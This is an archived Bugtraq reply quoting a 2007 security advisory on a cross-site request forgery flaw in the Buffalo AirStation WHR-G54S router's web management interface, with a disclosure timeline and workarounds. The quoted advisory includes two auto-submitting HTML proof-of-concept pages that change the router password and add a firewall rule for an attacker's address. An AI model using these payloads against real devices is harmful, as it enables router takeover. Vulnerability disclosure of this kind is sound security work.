Bugtraq mailing list archives

Re: Buffalo AirStation WHR-G54S CSRF vulnerability

From: "Adrian P" <unknown.pentester () gmail com>
Date: Fri, 7 Sep 2007 16:27:56 +0100

On 9/7/07, Henri Lindberg - Smilehouse Oy <henri.lindberg () smilehouse com> wrote:

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                          Louhi Networks Oy
                       -= Security Advisory =-


      Advisory: Buffalo AirStation WHR-G54S Web Management CSRF
                vulnerability
  Release Date: 2007-09-07
 Last Modified: 2007-09-07
       Authors: Henri Lindberg, Associate of (ISC)²
                [henri d0t lindberg at louhi d0t fi]

   Application: Buffalo AirStation Web Management

       Devices: WHR-G54S Ver.1.20, possibly other Buffalo products
      Severity: Cross site request forgery in management interface
          Risk: Moderate
 Vendor Status: No response from vendor.
    References: http://www.louhi.fi/advisory/buffalo_070907.txt


Overview:

    During cursory inspection of WHR-G54S it was discovered that a cross
    site request forgery vulnerability exists in the management
    interface. Thus, it is possible for an attacker to perform any
    administrative action in the management interface. These include
    e.g. changing administrative password or adding new firewall rules.


Details:

    Buffalo AirStation WHR-G54S Ver.1.20 device management interface
    does not validate the origin of an HTTP request. If attacker is able
    to make user visit a hostile web page, a  device can be controlled
    by submitting suitable forms. It is possible to add new users for
    example.

    Successful attack requires that the attacker knows the management
    interface address for the target device. As authentication is done
    using HTTP Basic authentication, exploiting this vulnerability
    requires more effort compared to forms authentication.


"More effort" _unless_ the administrator has NOT changed the default
admin credentials or that he/she has NOT clicked on "Save Password" on
his browser auth prompt any time in the past. Any of these two
conditions would certainly make the attack more feasible. Just thought
it's worth it saying, that's all :-D

And yes, there are tricks so that when you get CSRFed on a browser
that has the basic auth credentials saved, the auth prompt will NOT
pop up in order to get confirmation from the user to submit the
request. I'm sure some people know what I'm talking about.

Good advisory and thank you for sharing it with us!

PS: Henri, please do not hesitate to contact me if you want feedback
on any 0days CSRF you might have at the moment.



Proof of Concept:

<html>
  <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
    action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=ap.html
    "style="display:none">

     <input name="ap" value="Evil">
     <input name="TEST_INPUT" value="1">
     <input name="edit_ropass" value="evil">
     <input name="edit_ropass2" value="evil">
     <input name="ropass" value="live">
     <input name="gupass" value="">
    </form>
  </body>
</html>

Note: ropass value is reversed edit_ropass value.

<html>
  <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
    action="http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html";
    style="display:none">

<input name="sela" value="ACCEPT">
<input name="sel_direction" value="WAN">
<input name="H_sour_ip" value="1.1.1.1">
<input name="H_dest_ip" value="">
<input name="H_prt" value="all">
<input name="Do_ADDtop" value="Add%A0%28Head%29">

</form>
</body>
</html>

1.1.1.1 = attacker's IP address


Workaround:

    Do not browse untrusted websites while using the management
    interface.

    Log out after administering the device.

More information

    http://en.wikipedia.org/wiki/Cross-site_request_forgery

Disclosure Timeline:

    XX  July 2007       - Discovered the issue
    15. August 2007     - Contacted Buffalo
    17. August 2007     - Contacted Buffalo again.
    7.  September 2007  - No response from Vendor.
    7.  September 2007  - Advisory released


Copyright 2007 Louhi Networks Oy. All rights reserved.

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gnucitizen.org, ikwt.com

Current thread:

Buffalo AirStation WHR-G54S CSRF vulnerability Henri Lindberg - Smilehouse Oy (Sep 07)
- Re: Buffalo AirStation WHR-G54S CSRF vulnerability Adrian P (Sep 07)